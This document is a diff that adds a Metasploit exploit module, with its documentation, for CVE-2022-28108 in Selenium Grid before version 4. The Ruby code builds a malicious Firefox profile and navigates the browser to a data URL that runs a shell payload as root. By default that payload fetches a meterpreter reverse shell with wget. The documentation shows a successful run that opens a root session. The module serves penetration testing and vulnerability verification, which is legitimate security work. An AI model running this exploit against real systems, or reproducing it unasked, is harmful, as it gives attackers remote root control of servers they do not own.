Add Selenium Firefox RCE module (CVE-2022-28108)

documentation/modules/exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108.md

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+## Vulnerable Application
+
+Selenium Server (Grid) before 4 allows CSRF because it permits non-JSON content types
+such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.
+
+The vulnerability affects:
+
+    * Selenium Server (Grid) before 4
+
+This module was successfully tested on:
+
+    * selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 20.0.4
+
+
+### Installation
+
+1. `docker pull selenium/standalone-firefox:3.141.59`
+
+2. `docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-firefox:3.141.59`
+
+
+## Verification Steps
+
+1. Install the application
+2. Start msfconsole
+3. Do: `use exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108`
+4. Do: `run lhost=<lhost> rhost=<rhost>`
+5. You should get a meterpreter
+
+
+## Options
+
+
+## Scenarios
+```
+msf6 > use exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108
+[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
+msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > options
+
+Module options (exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108):
+
+   Name     Current Setting  Required  Description
+   ----     ---------------  --------  -----------
+   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
+   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
+   RPORT    4444             yes       The target port (TCP)
+   SSL      false            no        Negotiate SSL/TLS for outgoing connections
+   VHOST                     no        HTTP server virtual host
+
+
+Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
+
+   Name                Current Setting  Required  Description
+   ----                ---------------  --------  -----------
+   FETCH_COMMAND       WGET             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
+   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
+   FETCH_FILENAME      ysvWeotTGNTE     no        Name to use on remote system when storing payload; cannot contain spaces or slashes
+   FETCH_SRVHOST                        no        Local IP to use for serving payload
+   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
+   FETCH_URIPATH                        no        Local URI to use for serving payload
+   FETCH_WRITABLE_DIR                   yes       Remote writable dir to store payload; cannot contain spaces
+   LHOST                                yes       The listen address (an interface may be specified)
+   LPORT               4444             yes       The listen port
+
+
+Exploit target:
+
+   Id  Name
+   --  ----
+   0   Linux Command
+
+
+
+View the full module info with the info, or info -d command.
+
+msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4445
+[*] Started reverse TCP handler on 192.168.56.1:4444 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Version 3.141.59 detected, which is vulnerable
+[+] The target appears to be vulnerable.
+[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:34690) at 2024-12-28 12:17:05 +0900
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer     : 172.17.0.3
+OS           : Ubuntu 20.04 (Linux 6.8.0-51-generic)
+Architecture : x64
+BuildTuple   : x86_64-linux-musl
+Meterpreter  : x64/linux
+meterpreter > 
+```

modules/exploits/linux/http/selenium_greed_firefox_rce_cve_2022_28108.rb

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+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'net/http'
+require 'uri'
+require 'json'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  prepend Msf::Exploit::Remote::AutoCheck
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Selenium geckodriver RCE',
+        'Description' => %q{
+          Selenium Server (Grid) before 4 allows CSRF because it permits non-JSON content types
+          such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.
+        },
+        'Author' => [
+          'Jon Stratton',     # Exploit development
+          'Takahiro Yokoyama' # Metasploit module
+        ],
+        'License' => MSF_LICENSE,
+        'References' => [
+          ['CVE', '2022-28108'],
+          ['URL', 'https://www.gabriel.urdhr.fr/2022/02/07/selenium-standalone-server-csrf-dns-rebinding-rce/'],
+          ['URL', 'https://github.com/JonStratton/selenium-node-takeover-kit/tree/master'],
+          ['EDB', '49915'],
+        ],
+        'Payload' => {
+          'DisableNops' => true
+        },
+        'Platform' => %w[linux],
+        'Targets' => [
+          [
+            'Linux Command', {
+              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
+              'DefaultOptions' => {
+                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
+                'FETCH_COMMAND' => 'WGET'
+              }
+            }
+          ],
+        ],
+        'DefaultTarget' => 0,
+        'DisclosureDate' => '2022-04-18',
+        'Notes' => {
+          'Stability' => [ CRASH_SAFE, ],
+          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
+          'Reliability' => [ REPEATABLE_SESSION, ]
+        }
+      )
+    )
+    register_options(
+      [
+        Opt::RPORT(4444),
+      ]
+    )
+  end
+
+  def check
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path)
+    })
+    return Exploit::CheckCode::Unknown unless res&.code == 200
+
+    js_code = res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) }
+    return Exploit::CheckCode::Unknown unless js_code
+
+    json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1]
+    json_data = JSON.parse(json_str)
+    return Exploit::CheckCode::Unknown unless json_data && json_data.include?('version') && json_data['version']
+
+    # Extract the version
+    version = Rex::Version.new(json_data['version'])
+    if version == Rex::Version.new('4.0.0-alpha-7') || Rex::Version.new('4.0.1') <= version
+      return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable")
+    end
+
+    print_status("Version #{version} detected, which is vulnerable")
+    Exploit::CheckCode::Appears
+  end
+
+  def exploit
+    # Build profile zip file.
+    stringio = Zip::OutputStream.write_buffer do |io|
+      # Create a handler for shell scripts
+      io.put_next_entry('handlers.json')
+      io.write('{"defaultHandlersVersion":{"en-US":4},"mimeTypes":{"application/sh":{"action":2,"handlers":[{"name":"sh","path":"/bin/sh"}]}}}')
+    end
+    stringio.rewind
+    encoded_profile = Base64.strict_encode64(stringio.sysread)
+
+    # Create session with our new profile
+    new_session = {
+      desiredCapabilities: {
+        browserName: 'firefox',
+        firefox_profile: encoded_profile
+      },
+      capabilities: {
+        firstMatch: [
+          {
+            browserName: 'firefox',
+            "moz:firefoxOptions": { profile: encoded_profile }
+          }
+        ]
+      }
+    }
+
+    hub_url = full_uri(normalize_uri(target_uri.path, 'wd/hub'))
+    uri = URI.parse(hub_url)
+    http = Net::HTTP.new(uri.host, uri.port)
+
+    # Start session with encoded_profile and save session id for cleanup.
+    session_uri = URI.parse("#{hub_url}/session")
+    request = Net::HTTP::Post.new(session_uri.request_uri, 'Content-Type' => 'application/json; charset=utf-8')
+    request.body = JSON.generate(new_session)
+    response = http.request(request)
+    session_id = JSON.parse(response.body)['value']['sessionId'] || JSON.parse(response.body)['sessionId']
+
+    sudo_payload = "rm -rf $0\nsudo su root -c '#{payload.encoded}'"
+    # URL.
+    data_url = "data:application/sh;charset=utf-16le;base64,#{Base64.encode64(sudo_payload)}"
+    data_uri = URI.parse("#{hub_url}/session/#{session_id}/url")
+    request = Net::HTTP::Post.new(data_uri.request_uri, 'Content-Type' => 'application/json; charset=utf-8')
+    request.body = JSON.generate(url: data_url)
+    http.read_timeout = 2
+    begin
+      http.request(request)
+    rescue Net::ReadTimeout
+      # Expected
+    end
+  end
+
+end